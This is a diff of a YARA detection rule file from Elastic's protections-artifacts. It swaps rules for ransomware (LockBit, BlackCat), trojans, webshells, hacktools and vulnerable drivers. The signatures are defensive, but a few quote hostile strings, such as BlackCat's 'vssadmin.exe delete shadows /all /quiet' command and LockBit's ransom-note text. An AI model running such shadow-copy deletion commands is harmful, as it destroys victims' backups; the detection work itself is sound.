-		id = "fae5978c-f26c-4215-9407-d16e492ab5c1"
-		date = "2022-06-08"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_PUP_Veriato.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "53f09e60b188e67cdbf28bda669728a1f83d47b0279debf3d0a8d5176479d17f"
-		logic_hash = "8ae6f8b2b6e3849b33e6a477af52982efe137d7ebeff0c92cee5667d75f05145"
+		id = "01c18057-258d-4242-928c-26972a2f1e76"
+		date = "2023-02-02"
+		modified = "2023-02-22"
+		reference = "https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PipeDance.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d3f739e35182992f1e3ade48b8999fb3a5049f48c14db20e38ee63eddc5a1e7"
+		logic_hash = "0c03a725ae930eb829d6a6a9f681489d61aa7f69e72b6b298776f75a98115398"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8d351cdd11d6dddc76cd89e7de9e65b28ef5c8183db804b2a450095e2f3214e5"
+		fingerprint = "01b8c127974ec8e3db0fc68db8d11cd4f4247c0128a8630f64c7bd20726220af"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61126,30 +65319,35 @@ rule ELASTIC_Windows_PUP_Veriato_Fae5978C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$s1 = "InitializeDll" fullword
-		$a1 = "C:\\Windows\\winipbin\\svrltmgr.dll" fullword
-		$a2 = "C:\\Windows\\winipbin\\svrltmgr64.dll" fullword
+		$str1 = "%-5d %-30s %-4s %-7d %s" wide fullword
+		$str2 = "PID   Name   Arch Session User" wide fullword
+		$str3 = "%s %7.2f B" wide fullword
+		$str4 = "\\\\.\\pipe\\%s.%d" ascii fullword
+		$seq_rc4 = { 8D 46 ?? 0F B6 F0 8A 14 3E 0F B6 C2 03 C1 0F B6 C8 89 4D ?? 8A 04 0F 88 04 3E 88 14 0F 0F B6 0C 3E 0F B6 C2 03 C8 0F B6 C1 8B 4D ?? 8A 04 38 30 04 0B 43 8B 4D ?? 3B 5D ?? 72 ?? }
+		$seq_srv_resp = { 8B CE 50 6A 04 5A E8 ?? ?? ?? ?? B8 00 04 00 00 8D 4E ?? 50 53 8B D0 E8 ?? ?? ?? ?? B8 08 02 00 00 8D 8E ?? ?? ?? ?? 50 57 8B D0 E8 ?? ?? ?? ?? }
+		$seq_cmd_dispatch = { 83 FE 29 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE 06 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C6 33 D2 2B C2 0F 84 ?? ?? ?? ?? 83 E8 01 }
+		$seq_icmp = { 59 6A 61 5E 89 45 ?? 8B D0 89 5D ?? 2B F0 8D 04 16 8D 4B ?? 88 0A 83 F8 77 7E ?? 80 E9 17 88 0A 43 42 83 FB 20 }
 
 	condition:
-		$s1 and ($a1 or $a2)
+		4 of ($str*) or 2 of ($seq*)
 }
-rule ELASTIC_Linux_Cryptominer_Pgminer_Ccf88A37 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Banload_D5E1C189 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Pgminer (Linux.Cryptominer.Pgminer)"
+		description = "Detects Linux Trojan Banload (Linux.Trojan.Banload)"
 		author = "Elastic Security"
-		id = "ccf88a37-2a58-40f9-8c13-f1ce218a2ec4"
+		id = "d5e1c189-7d19-4f03-a4f3-a0aaf6d499dc"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Pgminer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3afc8d2d85aca61108d21f82355ad813eba7a189e81dde263d318988c5ea50bd"
-		logic_hash = "77833cdb319bc8e22db2503478677d5992774105f659fe7520177a691c83aa91"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Banload.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "48bf0403f777db5da9c6a7eada17ad4ddf471bd73ea6cf02817dd202b49204f4"
+		logic_hash = "3f0bee251152a8c835a3bf71dc33c2e150705713c50ca2cfdbeb69361ed91a09"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dc82b841a7e72687921c9b14bc86218c3377f939166d11a7cccd885dad4a06e7"
+		fingerprint = "4aa04f08005b1b7ed941dbfc563737728099e35e3f0f025532921b91b79c967c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61157,28 +65355,28 @@ rule ELASTIC_Linux_Cryptominer_Pgminer_Ccf88A37 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F6 41 83 C5 02 48 8B 5D 00 8A 0B 80 F9 2F 76 7E 41 83 FF 0A B8 0A 00 }
+		$a = { E4 E4 E4 58 88 60 90 E4 E4 E4 E4 68 98 70 A0 E4 E4 E4 E4 78 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Pgminer_5Fb2Efd5 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Perl_4A4B8A42 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Pgminer (Linux.Cryptominer.Pgminer)"
+		description = "Detects Linux Exploit Perl (Linux.Exploit.Perl)"
 		author = "Elastic Security"
-		id = "5fb2efd5-4adc-4285-bef1-6e4987066944"
+		id = "4a4b8a42-bf26-4323-a12d-06360cd88aa3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Pgminer.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6d296648fdbc693e604f6375eaf7e28b87a73b8405dc8cd3147663b5e8b96ff0"
-		logic_hash = "4c247f40c9781332f04f82a244f6e8e22c9c744963f736937eddecf769b40a54"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Perl.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
+		logic_hash = "c1f7b1c20fe6db6acbe46be38cc97a40de6ca047a4e4490e86610dbff356b395"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "8ac56b60418e3f3f4d1f52c7a58d0b7c1f374611d45e560452c75a01c092a59b"
+		fingerprint = "70ae986009e1d375a0322bf31fbae2090b7c0b6051ddd850e103e654d7b237b2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61186,59 +65384,57 @@ rule ELASTIC_Linux_Cryptominer_Pgminer_5Fb2Efd5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 16 00 00 00 0E 00 00 00 18 03 00 7F EB 28 33 C5 56 5D F2 50 67 C5 6F }
+		$a = { 20 73 65 65 6B 69 6E 67 20 6F 75 74 20 74 68 65 20 73 6D 61 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Behinder_B9A49F4B : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Perl_982Bb709 : FILE MEMORY
 {
 	meta:
-		description = "Webshell found in REF2924, either Behinder or Godzilla based shell in C#"
+		description = "Detects Linux Exploit Perl (Linux.Exploit.Perl)"
 		author = "Elastic Security"
-		id = "b9a49f4b-5923-420e-a9e6-9bfa05c93bbf"
-		date = "2023-03-02"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Behinder.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b"
-		logic_hash = "2303ef82e4dc5e8be87ddc4563dcd06963d17e1fbf25cf246a6c81e4e74adbcb"
+		id = "982bb709-beec-4f7f-b249-44b1fb46c3be"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Perl.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3e4e2b5af9d0c72aae83cec57e5c091a95c549f826e8f13559aaf7d300f6e13"
+		logic_hash = "b38e6cb15034c38c31f6b267b9ecaabe8dfa950a2fc8863cfff7705182cffb3a"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "cb7856a7d3e792cc60837587fe4afc04448af74cb5ce0478a09eb129e53bf7f1"
-		threat_name = "Windows.Trojan.Behinder"
+		fingerprint = "a2f68acb31b84e93f902aeb838ad550e1644c20e1c8060bb8de8ad57fa4ba4bb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$load = { 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 }
-		$key = "e45e329feb5d925b" ascii wide
+		$a = { 54 75 65 20 53 65 70 20 32 31 20 31 36 3A 34 38 3A 31 32 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Lockbit_89E64044 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Xpertrat_Ce03C41D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
+		description = "Detects Windows Trojan Xpertrat (Windows.Trojan.Xpertrat)"
 		author = "Elastic Security"
-		id = "89e64044-74e4-4679-b6ad-bfb9b264330c"
+		id = "ce03c41d-d5c3-43f5-b3ca-f244f177d710"
 		date = "2021-08-06"
 		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Lockbit.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d"
-		logic_hash = "bd504b078704b9f307a50c8556c143eee061015a9727670137aadc47ae93e2a6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Xpertrat.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d7f2fddb43eb63f9246f0a4535dfcca6da2817592455d7eceaacde666cf1aaae"
+		logic_hash = "f6ff0a11f261bc75c9d0015131f177d39bb9e8e30346a75209ba8fa808ac4fcb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49"
+		fingerprint = "8aa4336ba6909c820f1164c78453629959e28cb619fda45dbe46291f9fbcbec4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -61246,281 +65442,236 @@ rule ELASTIC_Windows_Ransomware_Lockbit_89E64044 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "\\LockBit_Ransomware.hta" wide fullword
-		$a2 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell" wide fullword
-		$a3 = "%s\\%02X%02X%02X%02X.lock" wide fullword
+		$a1 = "[XpertRAT-Mutex]" wide fullword
+		$a2 = "XPERTPLUGIN" wide fullword
+		$a3 = "keylog.tmp" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Lockbit_A1C60939 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Leigod_89397Ebf : FILE
 {
 	meta:
-		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
+		description = "Detects Windows Hacktool Leigod (Windows.Hacktool.LeiGod)"
 		author = "Elastic Security"
-		id = "a1c60939-e257-420d-87ed-f31f30f2fc2a"
-		date = "2021-08-06"
-		modified = "2021-10-04"
+		id = "89397ebf-2fdb-4607-85a1-b9c378b4e256"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Lockbit.yar#L23-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d"
-		logic_hash = "6e6d88251e93f69788ad22fc915133f3ba0267984d6a5004d5ca44dcd9f5f052"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_LeiGod.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ae5cc99f3c61c86c7624b064fd188262e0160645c1676d231516bf4e716a22d3"
+		logic_hash = "e887c34c624a182a3c57a55abe02784c4350d3956bcfd9f7918f08a464819e63"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "04709d703cd0a062029a05baee160eb9579fe0503984f3059ce49e1bcfa6e963"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 3C 8B 4C 18 78 8D 04 19 89 45 F8 3B C3 74 70 33 C9 89 4D F4 39 }
+		$str1 = "\\Device\\CtrlLeiGod" wide fullword
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Ransomware_Lockbit_369E1E94 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Leigod_3F5C98C4 : FILE
 {
 	meta:
-		description = "Detects Windows Ransomware Lockbit (Windows.Ransomware.Lockbit)"
+		description = "Detects Windows Hacktool Leigod (Windows.Hacktool.LeiGod)"
 		author = "Elastic Security"
-		id = "369e1e94-3fbb-4828-bb78-89d26e008105"
-		date = "2022-07-05"
-		modified = "2022-07-18"
+		id = "3f5c98c4-03ba-4919-90b0-604d3cb9361e"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Lockbit.yar#L43-L67"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee"
-		logic_hash = "c34dafc024d85902b85fc3424573abb8781d6fab58edd86c255266db3635ce98"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_LeiGod.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5"
+		logic_hash = "7570bf1a69df6b493bde41c1de27969e36a3fcb59be574ee2e24e3a61347a146"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9cf4c112c0ee708ae64052926681e8351f1ccefeb558c41e875dbd9e4bdcb5f2"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "883dcad7097ad5713c4f45ce2fc232c3c1e61cf9dfdc81a194124d5995a64c9e"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 66 83 F8 61 72 ?? 66 83 F8 66 77 ?? 66 83 E8 57 EB ?? 66 83 F8 30 72 ?? 66 83 F8 39 77 ?? 66 83 E8 30 EB ?? }
-		$a2 = { 8B EC 53 56 57 33 C0 8B 5D ?? 33 C9 33 D2 8B 75 ?? 8B 7D ?? 85 F6 74 ?? 55 8B 6D ?? 8A 54 0D ?? 02 D3 8A 5C 15 ?? 8A 54 1D ?? }
-		$a3 = { 53 51 6A ?? 58 0F A2 F7 C1 ?? ?? ?? ?? 0F 95 C0 84 C0 74 ?? 0F C7 F0 0F C7 F2 59 5B C3 6A ?? 58 33 C9 0F A2 F7 C3 ?? ?? ?? ?? 0F 95 C0 84 C0 74 ?? 0F C7 F8 0F C7 FA 59 5B C3 0F 31 8B C8 C1 C9 ?? 0F 31 8B D0 C1 C2 ?? 8B C1 59 5B C3 }
-		$b1 = { 6D 00 73 00 65 00 78 00 63 00 68 00 61 00 6E 00 67 00 65 00 00 00 73 00 6F 00 70 00 68 00 6F 00 73 00 }
-		$b2 = "LockBit 3.0 the world's fastest and most stable ransomware from 2019" ascii fullword
-		$b3 = "http://lockbit"
-		$b4 = "Warning! Do not delete or modify encrypted files, it will lead to problems with decryption of files!" ascii fullword
-
-	condition:
-		2 of ($a*) or all of ($b*)
-}
-rule ELASTIC_Multi_EICAR_Ac8F42D6 : FILE MEMORY
-{
-	meta:
-		description = "Detects Multi Eicar Not A Virus (Multi.EICAR.Not-a-virus)"
-		author = "Elastic Security"
-		id = "ac8f42d6-52da-46ec-8db1-5a5f69222a38"
-		date = "2021-01-21"
-		modified = "2022-01-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_EICAR.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "05c92058aab1229dfa31e006276c2c83fa484e813bdfe66edf387763797d9d57"
-		score = 75
-		quality = 25
-		tags = "FILE, MEMORY"
-		fingerprint = "bb0e0bdf70ec65d98f652e2428e3567013d5413f2725a2905b372fd18da8b9dd"
-		severity = 1
-		arch_context = "x86, arm64"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "multi"
-
-	strings:
-		$a = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" ascii fullword
+		$str1 = "\\LgDCatcher.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Multi_Ransomware_Blackcat_Aaf312C3 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Llaccess_C57534E8 : FILE
 {
 	meta:
-		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
+		description = "Name: Corsair LL Access, Version: 1.0.18.0"
 		author = "Elastic Security"
-		id = "aaf312c3-47b4-4dab-b7fc-8a2ac9883772"
-		date = "2022-02-02"
-		modified = "2023-09-20"
+		id = "c57534e8-eb38-4714-9262-c489cc6204f1"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_BlackCat.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
-		logic_hash = "0771ab5a795af164a568bda036cccf08afeb33458f2cd5a7240349fca9b60ead"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_LLAccess.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b"
+		logic_hash = "8bf629fd2ce0b1f15c7aacd573659b649dcf968556232683b29d68b27d12e577"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "577c7f24a7ecf89a542e9a63a1744a129c96c32e8dccfbf779dd9fc6c0194930"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "2eea8941c92353442f7a8986fa3abee06f83824e48bd6a3a5012f7cf76cd543e"
+		threat_name = "Windows.VulnDriver.LLAccess"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$chacha20_enc = { EF D9 F3 0F 7F 14 3B F3 0F 7F 5C 3B 10 83 C7 20 39 F8 75 D0 8B }
-		$crc32_imp = { F3 0F 6F 02 66 0F 6F D1 66 0F 3A 44 CD 11 83 C0 F0 83 C2 10 66 0F 3A 44 D4 00 83 F8 0F 66 0F EF C8 66 0F EF CA }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 43 00 6F 00 72 00 73 00 61 00 69 00 72 00 20 00 4C 00 4C 00 20 00 41 00 63 00 63 00 65 00 73 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x12][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x11][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Multi_Ransomware_Blackcat_00E525D7 : FILE MEMORY
+rule ELASTIC_Linux_Webshell_Generic_E80Ff633 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
+		description = "Detects Linux Webshell Generic (Linux.Webshell.Generic)"
 		author = "Elastic Security"
-		id = "00e525d7-a8a6-475f-89ad-607c452aea1e"
-		date = "2022-02-02"
-		modified = "2022-08-16"
+		id = "e80ff633-990e-4e2e-ac80-2e61685ab8b0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_BlackCat.yar#L22-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
-		logic_hash = "e44625d0fa8308b9d4d63a9e6920b4da4a2ce124437f122b2c8fe5cf0ab85a6b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Webshell_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7640ba6f2417931ef901044152d5bfe1b266219d13b5983d92ddbdf644de5818"
+		logic_hash = "d345e6ce3e51ed55064aafb1709e9bee7ef2ce87ec80165ac1b58eebd83cefee"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "631e30b8b51a5c0a0e91e8c09968663192569005b8bffff9f0474749788e9d57"
+		fingerprint = "dcca52dce2d50b0aa6cf0132348ce9dc234b985ae683b896d9971d409f109849"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "linux"
 
 	strings:
-		$a1 = "ata\",\"boot\",\"config.msi\",\"google\",\"perflogs\",\"appdata\",\"windows.old\"],\"exclude_file_names\":[\"desktop.ini\",\"aut"
-		$a2 = "locker::core::windows::processvssadmin.exe delete shadows /all /quietshadow_copy::remove_all=" ascii fullword
-		$a3 = "\\\\.\\pipe\\__rust_anonymous_pipe1__." ascii fullword
-		$a4 = "--bypass-p-p--bypass-path-path --no-prop-servers \\\\" ascii fullword
+		$a = { 24 A8 00 00 00 89 1C 24 83 3C 24 00 74 23 83 04 24 24 8D B4 24 AC 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Ransomware_Blackcat_C4B043E6 : FILE MEMORY
+rule ELASTIC_Linux_Webshell_Generic_41A5Fa40 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
+		description = "Detects Linux Webshell Generic (Linux.Webshell.Generic)"
 		author = "Elastic Security"
-		id = "c4b043e6-ff5f-4492-94e3-fd688d690738"
-		date = "2022-09-12"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_BlackCat.yar#L45-L63"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45b8678f74d29c87e2d06410245ab6c2762b76190594cafc9543fb9db90f3d4f"
-		logic_hash = "1262ca76581920f08a6482ead68023fdfff08a9ddd19e00230054e3167dc184c"
+		id = "41a5fa40-a4e7-4c97-a3b9-3700743265df"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "18ac7fbc3d8d3bb8581139a20a7fee8ea5b7fcfea4a9373e3d22c71bae3c9de0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Webshell_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "574148bc58626aac00add1989c65ad56315c7e2a8d27c7b96be404d831a7a576"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3e89858e90632ad5f4831427bd630252113b735c51f7a1aa1eab8ba6e4c16f18"
-		severity = 100
+		fingerprint = "49e0d55579453ec37c6757ddb16143d8e86ad7c7c4634487a1bd2215cd22df83"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "linux"
 
 	strings:
-		$a = { 28 4C 8B 60 08 4C 8B 68 10 0F 10 40 28 0F 29 44 24 10 0F 10 }
+		$a = { 5A 46 55 6C 73 6E 55 6B 56 52 56 55 56 54 56 46 39 56 55 6B 6B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Ransomware_Blackcat_70171625 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Cpuz_A53D1446 : FILE
 {
 	meta:
-		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
+		description = "Name: cpuz.sys, Version: 1.0.4.3"
 		author = "Elastic Security"
-		id = "70171625-c29b-47c1-b572-2e6dc846a907"
-		date = "2023-01-05"
-		modified = "2023-09-20"
+		id = "a53d1446-ebf7-44f3-843c-2ea5f043e168"
